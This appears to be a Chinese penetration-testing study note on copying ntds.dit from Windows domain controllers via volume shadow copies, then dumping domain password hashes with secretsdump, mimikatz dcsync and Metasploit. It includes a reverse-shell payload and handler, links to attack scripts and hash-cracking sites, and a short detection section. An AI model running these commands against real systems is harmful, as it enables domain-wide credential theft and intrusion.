在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本

接下来对常用的提取ntds.dit文件的方法,进行一个学习记录

0x01 使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等活动目录相关的信息。它和SAM文件一样,是被windows操作系统锁定的。

这里介绍从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。可以使用卷影拷贝服务(Volume Shadow Copy Service VSS)实现这些操作。VSS本质属于快照(Snapshot)技术的一种,用于备份和恢复,即使在目标文件当前处于锁定状态

通过ntdsutil.exe提取ntds.dit

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe可以维护和管理互动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPRome.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,可可以通过域内机器在域控制器上远程操作。

ntdsutil.exe支持的操作系统

Windows server 2003

Windows server 2008

Windows server 2012

第一步,创建一个快照。该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制

1
ntdsutil snapshot "activate instance ntds" create quit quit

可以看到,创建了一个GUIDf9138964-78d0-4c5e-94a5-8f1ce0fd14ec的快照

第二步,加载刚刚创建的快照。命令格式为ntdsutil snapshot "mount {GUID}" quit quit其中的GUID就是刚刚创建的快照GUID。本次的实验中,快照被加载到C:\$SNAP_202007011616_VOLUMEC$\目录下

1
ntdsutil snapshot "mount {f9138964-78d0-4c5e-94a5-8f1ce0fd14ec}" quit quit

第三步,使用windows自带的copy命令将快照中的文件复制出来,下面的命令是将快照中的C:\$SNAP_202007011616_VOLUMEC$\windows\ntds\ntds.dit复制到本地计算机的C:\Users\Administrator\Desktop\桌面上

1
copy C:\$SNAP_202007011616_VOLUMEC$\windows\ntds\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

第四步,将之前加载的快照卸载并删除,其中 为所创建快照的GUID。每次创建的快照的GUID不同

1
ntdsutil snapshot "unmout {f9138964-78d0-4c5e-94a5-8f1ce0fd14ec}" "delete {f9138964-78d0-4c5e-94a5-8f1ce0fd14ec}" quit quit

第五步,查询当前系统中的所有快照,现实没有任何快照,表示删除成功

1
ntdsutil snapshot "List All" quit quit

利用vssadmin提取ntds.dit

vssadminwindows server2008及Windows7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers)以及改变卷影拷贝的存储空间,既diff空间的大小等

第一步,在域控制器命令行环境中,创建一个C盘的卷影拷贝

1
vssadmin create shadow /for=c:

第二步,在创建的卷影拷贝中将ntds.dit复制到桌面上

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

一个查找文件小技巧:

1
dir C:\Users\Administrator\Desktop | findstr "ntds"

第三部,删除快照

1
vssadmin delete shadows /for=c: /quiet

利用vssown.vbs脚本提取nods.dit

vssown.vbs脚本的功能和vssadmin类似。可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务

vssown.vbs下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

脚本常用命令

1
2
3
4
5
6
7
8
//启动卷影拷贝服务
cscript vssown.vbs /start
//创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
//列出当前卷影拷贝
cscript vssown.vbs /list
//删除卷影拷贝
cscript vssown.vbs /delete

第一步,启动卷影拷贝服务

1
cscript vssown.vbs /start

第二步,创建一个C盘的卷影拷贝

1
cscript vssown.vbs /create c

第三步,列出当前卷影拷贝,可以看到存在一个ID为{E53CE962-3BF1-4F1C-B6B2-0B7118EC8098}的卷影拷贝,存储位置为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

1
cscript vssown.vbs /list

第四步,复制ntds.dit到本地计算机的桌面

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

第五步,删除卷影拷贝

1
cscript vssown.vbs /delete {E53CE962-3BF1-4F1C-B6B2-0B7118EC8098}

使用ntdsutil的IFM创建卷影拷贝

除了以上通过命令来提取ntds.dit也可以使用创建一个IFM的方式获取ntds.dit。再使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作可以通过PowerShellWMI远程执行

第一步,在域控制器中以管理员模式打开命令行环境,输入以下命令

1
ntdsutil "ac i ntds" "ifm" "create full C:/test" qq

这里的意思是将ntds.dit复制到C:\test\Active Directory\文件夹下,然后将SYSTEMSECURIYTY复制到C:\test\registry文件夹喜爱

1
2
dir "C:\test\Active Directory"
dir "C:\test\registry"

第二步,将ntds.dit拖回本地后,在目标机器上,就是域控机器将文件夹删除

1
rmdir /s/q test

Nishang中有一个Copy-VSS.ps1。将该脚本提取出来,在域控制器上打开PowerShell,导入脚本运行

1
2
Import-Module .\Copy-VSS.ps1
Copy-vss

使用diskshadow导出ntds.dit

diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,与DiskRaid或DiskPart类似。因为diskshadow的代码是微软签名的,且windows server 2008、windows server2012和Windows server2016都默认包含diskshadow,所以,diskshadow也可用来操作卷影拷贝服务并导出nods.dit。diskshadow的功能与vshadow类似,且同样为位于C:\windows\system32\目录下。不过,vshadow是包含在windows SDK中的,在实际应用中可能需要将其上传到目标机器中。

diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令。下面为diskshadow一些常见命令及用法。

查看diskshadow.exe的帮助信息

1
diskshadow /?

在渗透测试中,可以使用diskshadow.exe来执行命令。如将需要执行的命令exec c:\windows\system32\calc.exe写入C盘目录下的command.txt文件

使用diskshadow.exe执行该文件中的命令

1
2
type c:\command.txt
diskshadow /s c:\command.txt

使用diskshadow.exe来导出ntds.dit将如下命令写入一个文本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit

使用diskshadow.exe直接加载这个文本文件

1
diskshadow /s c:\command.txt

在使用diskshadow.exe进行导出ntds.dit的操作时,必须将当前域控制器执行shell的路径切换到C:\windows\system32\否则会发生报错,错误如下

切换到C:\windows\system32\目录后使用diskshadow.exe加载command.txt执行,正常

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息

1
reg save hklm\system C:\Users\Administrator\Desktop\system.hive

使用diskshadow.exe的过程中,需要注意的以下几点

  • 渗透测试过程中可以在非特权用户权限下使用diskshadow.exe的部分功能。与其他工具相比,diskshadow.exe的使用更为灵活
  • 在使用diskshadow.exe执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令
  • 在渗透中,应先将含有需要执行的命令的文本文件写入远程目标操作系统,再使用diskshadow.exe调用该文本文件
  • 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作
  • 在使用diskshadow.exe导出ntds.dit时,必须在C:\windows\system32\中进行操作
  • 脚本执行后,要检查从快照中复制出来的ntds.dit文件大小,如果文件大小发生了改变,可以检查或修改脚本后重新执行
怎么防御,监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为
  • 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件
  • 监控创建diskshadow.exe及相关子进程的事件
  • 监控客户端设备中的diskshadow.exe实例创建事件。如无业务需要,在操作系统中不应该出现diskshadow.exe,如出现,立刻删除
  • 通过日志监控新出现的逻辑驱动器映射事件

0x02 导出ntds.dit中的散列值

使用impacket工具包导出散列值

使用impacket工具包中的secretsdump.exewindows环境下

1
secretsdump.exe -system SYSTEM.hive -ntds ntds.dit LOCAL

Windows下使用NTDSDumpEx解析ntds.dit获取散列值

NTDSDumpEx下载地址:https://github.com/zcgonvh/NTDSDumpEx

使用方式

1
2
3
ntdsdumpex.exe -r
ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hiv
ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hive

测试了一下QuarksPwDump不成功在Windows2008上报错,AFA解答说QuarksPwDump不能自己加载seckey,因此使用头像哥的NTDSDumpEx进行操作

0x03 利用dcsync获取域散列值

使用mimikatz转储域散列值

mimikatz有一个dcsync功能,可以被利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。注意,必须使用域管理员权限运行mimikatz才可以读取ntds.dit

在域内的任意计算机上,以域管理员权限打开命令行环境,运行mimikatz。导出域内的所有用户名及散列值

1
lsadump::dcsync /domain:Motoo.nc /all /csv

使用mimikatzdcsync功能也可以导出指定用户的散列值,如下命令,可导出域用户wangfang的散列值

1
lsadump::dcsync /domain:Motoo.nc /user:wangfang

也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行Dump操作。如果没有预先执行privilege::debug命令,将导致权限不足、读取失败。若用户数数多,mimikatz无法全部显示出阿里,可以先执行log命令,这样会在mimikatz目录下生成一个文本文件,用于记录mimikatz的所有执行结果

1
2
3
privilege::debug
lsadump::lsa /inject
mimikatz.exe ""privilege::debug"" ""lsadump::lsa /inject"" exit >> log.txt

使用dcsync获取域账号和域散列值

Invoke-DCSync.ps1可以利用dcsync直接读取nods.dit,以获取域账号和域散列值下载地址:https://gist.githubusercontent.com/monoxgas/9d238accd969550136db/raw/7806cc26744b6025e8f1daf616bc359cb6a11965/Invoke-DCSync.ps1

命令如下,-PWDumpFormat参数是用于对输出的内容进行格式化

1
2
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat

0x04 使用metasploit获取域散列值

1、psexec_ntdsgrab模块的使用

使用psexec_ntdsgrab模块,设置参数有RHOSTSMBDomainSMBUserSMBPass

1
use auxiliary/admin/smb/psexec_ntdsgrab

然后执行run(该脚本使用卷影拷贝服务)将ntds.dit文件和SYSTEM项复制并传送到/root/.msf4/loot/文件夹下,如此即可使用impacket工具包解析ntds.dit文件,导出域账号和域散列值了

2、基于meterpreter会话获取域账号域散列值

设置监听

1
2
3
4
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555

生成payload

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5555 -f exe > pen.exe

在目标机器上执行,获取到meterpreter

接下来,使用domain_hashdump模块获取域域账号和域散列值。

1
use post/windows/gather/credentials/domain_hashdump

这里设置之后执行没成功….没复现出来

0x05 使用vhadow.exe和QuarksPwDump.exe导出域账号和散列值

在正常域环境中ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,可以直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。

QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值,其源码下载地址:https://github.com/quarkslab/quarkspwdump

ShadowCopy是一款免费的增强型文件复制工具。ShadowCopy使用微软的卷影拷贝技术,能够复制被锁定的文件及其他程序打开的文件。

vshadow.exe是从Windows SDK中提取出来的。安装vshadow.exe后,会在VSSSKDK72\TstsApps\vshadow目录下生成一个bin文件vshadow.exe(可以将该文件单独提取出来使用)

实验有点问题

针对NTLM Hash的常用在线破解网站有如下:

https://www.cmd5.com/

https://www.somd5.com/

针对LM Hash的在线破解网站

http://cracker.offensive-security.com/index.php

参考资料:

内网渗透实战指南